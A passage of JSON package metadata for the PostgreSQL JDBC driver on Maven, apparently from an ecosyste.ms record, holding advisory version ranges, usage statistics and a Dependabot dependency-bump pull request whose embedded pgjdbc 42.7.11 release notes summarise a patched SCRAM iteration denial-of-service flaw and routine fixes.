42.4.4"},{"first_patched_version":"42.3.9","vulnerable_version_range":"\u003e= 42.3.0, \u003c 42.3.9"},{"first_patched_version":"42.2.28","vulnerable_version_range":"\u003c 42.2.28"}],"ecosystem":"maven","package_name":"org.postgresql:postgresql"}],"created_at":"2024-02-22T00:04:46.731Z","updated_at":"2025-05-27T01:09:39.055Z","epss_percentage":0.00104,"epss_percentile":0.29576}],"docker_usage_url":"https://docker.ecosyste.ms/usage/maven/org.postgresql:postgresql","docker_dependents_count":9838,"docker_downloads_count":2477259248,"usage_url":"https://repos.ecosyste.ms/usage/maven/org.postgresql:postgresql","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/maven/org.postgresql:postgresql/dependencies","status":null,"funding_links":[],"critical":true,"versions_url":"https://packages.ecosyste.ms/api/v1/registries/repo1.maven.org/packages/org.postgresql:postgresql/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/repo1.maven.org/packages/org.postgresql:postgresql/version_numbers","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/repo1.maven.org/packages/org.postgresql:postgresql/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/repo1.maven.org/packages/org.postgresql:postgresql/related_packages","maintainers":[],"registry":{"name":"repo1.maven.org","url":"https://repo.maven.apache.org/maven2","ecosystem":"maven","default":true,"packages_count":517639,"maintainers_count":0,"namespaces_count":68787,"keywords_count":32037,"github":"maven-central","metadata":{"funded_packages_count":24975},"icon_url":"https://github.com/maven-central.png","created_at":"2022-07-21T16:40:13.074Z","updated_at":"2025-06-06T05:59:03.422Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/repo1.maven.org/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/repo1.maven.org/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/repo1.maven.org/namespaces"}},"unique_repositories_count":1209,"unique_repositories_count_past_30_days":17,"recent_issues":[{"uuid":"4610340303","node_id":"PR_kwDODyN6Yc7jxTxZ","number":3317,"state":"open","title":"Bump the bpm-minor-patch group across 1 directory with 29 updates","user":"dependabot[bot]","labels":["dependencies"],"assignees":[],"locked":false,"comments_count":2,"pull_request":true,"closed_at":null,"author_association":null,"state_reason":null,"created_at":"2026-06-08T05:49:46.000Z","updated_at":"2026-06-08T05:50:41.000Z","time_to_close":null,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"Bump","group_name":"bpm-minor-patch","update_count":29,"packages":[{"name":"org.camunda.bpm:camunda-bom","old_version":"7.21.0","new_version":"7.24.0"},{"name":"org.camunda.bpm.springboot:camunda-bpm-spring-boot-starter-webapp","old_version":"7.21.0","new_version":"7.24.0"},{"name":"org.camunda.bpm.springboot:camunda-bpm-spring-boot-starter-rest","old_version":"7.21.0","new_version":"7.24.0"},{"name":"org.camunda.bpm:camunda-engine-rest-core","old_version":"7.21.0","new_version":"7.24.0"},{"name":"org.camunda.bpm.extension:camunda-platform-7-keycloak","old_version":"7.21.5","new_version":"7.24.0","repository_url":"https://github.com/camunda/camunda-platform-7-keycloak"},{"name":"org.slf4j:slf4j-api","old_version":"2.0.6","new_version":"2.0.18"},{"name":"org.postgresql:postgresql","old_version":"42.7.2","new_version":"42.7.11","repository_url":"https://github.com/pgjdbc/pgjdbc"},{"name":"javax.xml.bind:jaxb-api","old_version":"2.2.3","new_version":"2.3.1","repository_url":"https://github.com/javaee/jaxb-spec"},{"name":"org.assertj:assertj-core","old_version":"3.21.0","new_version":"3.27.7","repository_url":"https://github.com/assertj/assertj"},{"name":"org.codehaus.groovy:groovy-all","old_version":"3.0.21","new_version":"3.0.25","repository_url":"https://github.com/apache/groovy"},{"name":"org.jsoup:jsoup","old_version":"1.15.3","new_version":"1.22.2","repository_url":"https://github.com/jhy/jsoup"},{"name":"com.fasterxml.jackson.core:jackson-databind","old_version":"2.15.0","new_version":"2.22.0","repository_url":"https://github.com/FasterXML/jackson"},{"name":"com.fasterxml.jackson.core:jackson-core","old_version":"2.15.0","new_version":"2.22.0","repository_url":"https://github.com/FasterXML/jackson-core"},{"name":"com.fasterxml.jackson.dataformat:jackson-dataformat-xml","old_version":"2.15.0","new_version":"2.22.0","repository_url":"https://github.com/FasterXML/jackson-dataformat-xml"},{"name":"com.fasterxml.jackson.core:jackson-annotations","old_version":"2.15.0","new_version":"2.22.0"},{"name":"org.apache.commons:commons-collections4","old_version":"4.4","new_version":"4.5.0"},{"name":"org.projectlombok:lombok","old_version":"1.18.20","new_version":"1.18.46","repository_url":"https://github.com/projectlombok/lombok"},{"name":"commons-io:commons-io","old_version":"2.16.1","new_version":"2.22.0"},{"name":"org.testng:testng","old_version":"7.7.1","new_version":"7.12.0","repository_url":"https://github.com/testng-team/testng"},{"name":"io.netty:netty-codec-http2","old_version":"4.2.4.Final","new_version":"4.2.15.Final","repository_url":"https://github.com/netty/netty"},{"name":"io.netty:netty-codec-http","old_version":"4.1.125.Final","new_version":"4.2.15.Final","repository_url":"https://github.com/netty/netty"},{"name":"org.apache.commons:commons-lang3","old_version":"3.18.0","new_version":"3.20.0"},{"name":"org.bouncycastle:bcprov-jdk18on","old_version":"1.78","new_version":"1.84","repository_url":"https://github.com/bcgit/bc-java"},{"name":"org.bouncycastle:bcpkix-jdk18on","old_version":"1.79","new_version":"1.84","repository_url":"https://github.com/bcgit/bc-java"},{"name":"org.yaml:snakeyaml","old_version":"2.2","new_version":"2.6"},{"name":"org.apache.maven.plugins:maven-surefire-plugin","old_version":"3.0.0-M7","new_version":"3.6.0-M1","repository_url":"https://github.com/apache/maven-surefire"},{"name":"org.jacoco:jacoco-maven-plugin","old_version":"0.8.8","new_version":"0.8.15","repository_url":"https://github.com/jacoco/jacoco"},{"name":"org.codehaus.mojo:exec-maven-plugin","old_version":"3.0.0","new_version":"3.6.3","repository_url":"https://github.com/mojohaus/exec-maven-plugin"}],"path":null,"ecosystem":"maven"},"body":"Bumps the bpm-minor-patch group with 28 updates in the /forms-flow-bpm directory:\n\n| Package | From | To |\n| --- | --- | --- |\n| org.camunda.bpm:camunda-bom | `7.21.0` | `7.24.0` |\n| org.camunda.bpm.springboot:camunda-bpm-spring-boot-starter-webapp | `7.21.0` | `7.24.0` |\n| org.camunda.bpm.springboot:camunda-bpm-spring-boot-starter-rest | `7.21.0` | `7.24.0` |\n| org.camunda.bpm:camunda-engine-rest-core | `7.21.0` | `7.24.0` |\n| [org.camunda.bpm.extension:camunda-platform-7-keycloak](https://github.com/camunda/camunda-platform-7-keycloak) | `7.21.5` | `7.24.0` |\n| org.slf4j:slf4j-api | `2.0.6` | `2.0.18` |\n| [org.postgresql:postgresql](https://github.com/pgjdbc/pgjdbc) | `42.7.2` | `42.7.11` |\n| [javax.xml.bind:jaxb-api](https://github.com/javaee/jaxb-spec) | `2.2.3` | `2.3.1` |\n| [org.assertj:assertj-core](https://github.com/assertj/assertj) | `3.21.0` | `3.27.7` |\n| [org.codehaus.groovy:groovy-all](https://github.com/apache/groovy) | `3.0.21` | `3.0.25` |\n| [org.jsoup:jsoup](https://github.com/jhy/jsoup) | `1.15.3` | `1.22.2` |\n| [com.fasterxml.jackson.core:jackson-databind](https://github.com/FasterXML/jackson) | `2.15.0` | `2.22.0` |\n| [com.fasterxml.jackson.core:jackson-core](https://github.com/FasterXML/jackson-core) | `2.15.0` | `2.22.0` |\n| [com.fasterxml.jackson.dataformat:jackson-dataformat-xml](https://github.com/FasterXML/jackson-dataformat-xml) | `2.15.0` | `2.22.0` |\n| com.fasterxml.jackson.core:jackson-annotations | `2.15.0` | `2.22.0` |\n| org.apache.commons:commons-collections4 | `4.4` | `4.5.0` |\n| [org.projectlombok:lombok](https://github.com/projectlombok/lombok) | `1.18.20` | `1.18.46` |\n| commons-io:commons-io | `2.16.1` | `2.22.0` |\n| [org.testng:testng](https://github.com/testng-team/testng) | `7.7.1` | `7.12.0` |\n| [io.netty:netty-codec-http2](https://github.com/netty/netty) | `4.2.4.Final` | `4.2.15.Final` |\n| [io.netty:netty-codec-http](https://github.com/netty/netty) | `4.1.125.Final` | `4.2.15.Final` |\n| org.apache.commons:commons-lang3 | `3.18.0` | `3.20.0` |\n| [org.bouncycastle:bcprov-jdk18on](https://github.com/bcgit/bc-java) | `1.78` | `1.84` |\n| [org.bouncycastle:bcpkix-jdk18on](https://github.com/bcgit/bc-java) | `1.79` | `1.84` |\n| [org.yaml:snakeyaml](https://bitbucket.org/snakeyaml/snakeyaml) | `2.2` | `2.6` |\n| [org.apache.maven.plugins:maven-surefire-plugin](https://github.com/apache/maven-surefire) | `3.0.0-M7` | `3.6.0-M1` |\n| [org.jacoco:jacoco-maven-plugin](https://github.com/jacoco/jacoco) | `0.8.8` | `0.8.15` |\n| [org.codehaus.mojo:exec-maven-plugin](https://github.com/mojohaus/exec-maven-plugin) | `3.0.0` | `3.6.3` |\n\n\nUpdates `org.camunda.bpm:camunda-bom` from 7.21.0 to 7.24.0\n\nUpdates `org.camunda.bpm.springboot:camunda-bpm-spring-boot-starter-webapp` from 7.21.0 to 7.24.0\n\nUpdates `org.camunda.bpm.springboot:camunda-bpm-spring-boot-starter-rest` from 7.21.0 to 7.24.0\n\nUpdates `org.camunda.bpm:camunda-engine-rest-core` from 7.21.0 to 7.24.0\n\nUpdates `org.camunda.bpm.extension:camunda-platform-7-keycloak` from 7.21.5 to 7.24.0\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/camunda/camunda-platform-7-keycloak/commits\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `org.camunda.bpm.springboot:camunda-bpm-spring-boot-starter-webapp` from 7.21.0 to 7.24.0\n\nUpdates `org.camunda.bpm.springboot:camunda-bpm-spring-boot-starter-rest` from 7.21.0 to 7.24.0\n\nUpdates `org.slf4j:slf4j-api` from 2.0.6 to 2.0.18\n\nUpdates `org.postgresql:postgresql` from 42.7.2 to 42.7.11\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/pgjdbc/pgjdbc/releases\"\u003eorg.postgresql:postgresql's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev42.7.11\u003c/h2\u003e\n\u003ch2\u003eSecurity\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix: Limit SCRAM PBKDF2 iterations accepted from the server.\npgjdbc was vulnerable to a client-side denial of service in SCRAM-SHA-256 authentication, where a malicious or compromised PostgreSQL server could specify an extremely large PBKDF2 iteration count, causing the client to consume unbounded CPU and potentially exhaust connection pools. The fix introduces a new scramMaxIterations connection property (defaulting to 100,000) to cap iteration counts before computation begins.\nSee the \u003ca href=\"https://github.com/pgjdbc/pgjdbc/security/advisories/GHSA-98qh-xjc8-98pq\"\u003eSecurity Advisory\u003c/a\u003e for more detail.\nThe following \u003ca href=\"https://nvd.nist.gov/vuln/detail/CVE-2026-42198\"\u003eCVE-2026-42198\u003c/a\u003e has been issued.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eChanges\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix: Add sources and javadocs to shaded published lib generation \u003ca href=\"https://github.com/sehrope\"\u003e\u003ccode\u003e@​sehrope\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4043\"\u003e#4043\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eupdate Changelog and website for release of 42.7.11 \u003ca href=\"https://github.com/davecramer\"\u003e\u003ccode\u003e@​davecramer\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4042\"\u003e#4042\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eFix scram fix location in changelog and update published artifact developer list \u003ca href=\"https://github.com/sehrope\"\u003e\u003ccode\u003e@​sehrope\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4041\"\u003e#4041\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eRestrict test with scram_iterations to v16+ and release notes \u003ca href=\"https://github.com/sehrope\"\u003e\u003ccode\u003e@​sehrope\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4040\"\u003e#4040\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore(deps): update ubuntu:24.04 docker digest to 84e77de \u003ca href=\"https://github.com/renovate-bot\"\u003e\u003ccode\u003e@​renovate-bot\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4017\"\u003e#4017\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003etest: add tests for QueryExecutor#getTransactionState \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4006\"\u003e#4006\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore(deps): update actions/create-github-app-token action to v2.2.2 \u003ca href=\"https://github.com/renovate-bot\"\u003e\u003ccode\u003e@​renovate-bot\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3983\"\u003e#3983\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: fix flaky CopyBothResponseTest by using WAL flush LSN \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3979\"\u003e#3979\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: fix flaky replication restart tests by waiting for confirmed_flush_lsn \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3975\"\u003e#3975\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003etest: fix flaky LogicalReplicationStatusTest by polling pg_stat_replication \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3974\"\u003e#3974\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: replace Appveyor with ikalnytskyi/action-setup-postgres \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3966\"\u003e#3966\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003etest: move test table creation from \u003ca href=\"https://github.com/BeforeEach\"\u003e\u003ccode\u003e@​BeforeEach\u003c/code\u003e\u003c/a\u003e to \u003ca href=\"https://github.com/BeforeAll\"\u003e\u003ccode\u003e@​BeforeAll\u003c/code\u003e\u003c/a\u003e \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3967\"\u003e#3967\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eReturn jsonb as PGObject fixes Issue \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3926\"\u003e#3926\u003c/a\u003e \u003ca href=\"https://github.com/davecramer\"\u003e\u003ccode\u003e@​davecramer\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3956\"\u003e#3956\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eUpdate docker scripts  \u003ca href=\"https://github.com/davecramer\"\u003e\u003ccode\u003e@​davecramer\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3958\"\u003e#3958\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eimplement require_auth, this is pretty much how libpq does this.  \u003ca href=\"https://github.com/davecramer\"\u003e\u003ccode\u003e@​davecramer\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3895\"\u003e#3895\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003edocs: add SCRAM authentication test setup section to TESTING.md \u003ca href=\"https://github.com/emmaeng700\"\u003e\u003ccode\u003e@​emmaeng700\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3945\"\u003e#3945\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdd RequireServerVersion annotation for tests \u003ca href=\"https://github.com/sehrope\"\u003e\u003ccode\u003e@​sehrope\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3939\"\u003e#3939\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e🐛 Bug Fixes\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix: ensure extended protocol messages end with Sync message \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3728\"\u003e#3728\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: enable cursor-based fetching in extended protocol when transaction started via SQL command \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3996\"\u003e#3996\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: retry with SSL on IOException when sslMode=ALLOW \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3973\"\u003e#3973\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: allow fallback to non-SSL connection when sslMode=prefer and sslResponseTimeout kicks in \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3968\"\u003e#3968\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: catch SecurityException from setContextClassLoader on ForkJoinPool workers \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3962\"\u003e#3962\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: use compareTo for LogSequenceNumber comparison \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3961\"\u003e#3961\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: release COPY lock on IOException to prevent connection hang (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3957\"\u003e#3957\u003c/a\u003e) \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3960\"\u003e#3960\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e🧰 Maintenance\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003estyle: replace \u003ca href=\"https://github.com/exception\"\u003e\u003ccode\u003e@​exception\u003c/code\u003e\u003c/a\u003e with \u003ca href=\"https://github.com/throws\"\u003e\u003ccode\u003e@​throws\u003c/code\u003e\u003c/a\u003e in getBoolean javadoc \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4035\"\u003e#4035\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: use \u003ccode\u003e@​vlsi/github-actions-random-matrix\u003c/code\u003e npm package \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4008\"\u003e#4008\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: use tag names for pinning github actions, pin ikalnytskyi/action-setup-postgres \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4007\"\u003e#4007\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: bump errorprone to 2.48.0 \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/4005\"\u003e#4005\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003etest: add \u003ca href=\"https://github.com/DisableLogger\"\u003e\u003ccode\u003e@​DisableLogger\u003c/code\u003e\u003c/a\u003e annotation to suppress expected log warnings in tests \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3971\"\u003e#3971\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: suppress deprecations in test code to reduce build verbosity \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3972\"\u003e#3972\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: replace log warning in ConnectionFactory.closeStream with Throwable.addSuppressed \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3970\"\u003e#3970\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: use greedy pairwise coverage for CI matrix generation \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3965\"\u003e#3965\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: use full version tags in GitHub Actions comments \u003ca href=\"https://github.com/vlsi\"\u003e\u003ccode\u003e@​vlsi\u003c/code\u003e\u003c/a\u003e (\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3963\"\u003e#3963\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e⬆️ Dependencies\u003c/h2\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/pgjdbc/pgjdbc/blob/master/CHANGELOG.md\"\u003eorg.postgresql:postgresql's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e[42.7.11] (2026-04-28)\u003c/h2\u003e\n\u003ch3\u003eSecurity\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003efix: Limit SCRAM PBKDF2 iterations accepted from the server.\npgjdbc was vulnerable to a client-side denial of service in SCRAM-SHA-256 authentication, where a malicious or compromised PostgreSQL server could specify an extremely large PBKDF2 iteration count, causing the client to consume unbounded CPU and potentially exhaust connection pools. The fix introduces a new scramMaxIterations connection property (defaulting to 100,000) to cap iteration counts before computation begins.\nSee the \u003ca href=\"https://github.com/pgjdbc/pgjdbc/security/advisories/GHSA-98qh-xjc8-98pq\"\u003eSecurity Advisory\u003c/a\u003e for more detail.\nThe following \u003ca href=\"https://nvd.nist.gov/vuln/detail/CVE-2026-42198\"\u003eCVE-2026-42198\u003c/a\u003e has been issued.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003efeat: implement require_auth connection property, aligning with libpq behavior [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3895\"\u003e#3895\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3895\"\u003epgjdbc/pgjdbc#3895\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eChanged\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003echore: replace Appveyor CI with ikalnytskyi/action-setup-postgres [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3966\"\u003e#3966\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3966\"\u003epgjdbc/pgjdbc#3966\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003echore: upgrade Gradle to v9 [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3978\"\u003e#3978\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3978\"\u003epgjdbc/pgjdbc#3978\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003efix: ensure extended protocol messages end with Sync message [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3728\"\u003e#3728\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3728\"\u003epgjdbc/pgjdbc#3728\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: enable cursor-based fetching in extended protocol when transaction started via SQL command [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3996\"\u003e#3996\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3996\"\u003epgjdbc/pgjdbc#3996\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: retry with SSL on IOException when sslMode=ALLOW [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3973\"\u003e#3973\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3973\"\u003epgjdbc/pgjdbc#3973\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: make sure the driver honours connectTimeout when retrying the connection [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3968\"\u003e#3968\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3968\"\u003epgjdbc/pgjdbc#3968\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: allow fallback to non-SSL connection when sslMode=prefer and sslResponseTimeout kicks in [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3968\"\u003e#3968\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3968\"\u003epgjdbc/pgjdbc#3968\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: catch SecurityException from setContextClassLoader on ForkJoinPool workers [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3962\"\u003e#3962\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3962\"\u003epgjdbc/pgjdbc#3962\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: use compareTo for LogSequenceNumber comparison to handle unsigned values correctly [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3961\"\u003e#3961\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3961\"\u003epgjdbc/pgjdbc#3961\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: release COPY lock on IOException to prevent connection hang [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3957\"\u003e#3957\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3957\"\u003epgjdbc/pgjdbc#3957\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: return jsonb as PGObject instead of String [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3956\"\u003e#3956\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3956\"\u003epgjdbc/pgjdbc#3956\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: align SSL key file permission check with libpq [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3952\"\u003e#3952\u003c/a\u003e](\u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/pull/3952\"\u003epgjdbc/pgjdbc#3952\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003efix: guard connection closed flag with a reentrant lock to protect against concurrent close [PR \u003ca href=\"https://redirect.github.com/pgjdbc/pgjdbc/issues/3905\"\u003e#3905\u003c/a\u003e](\u003ca 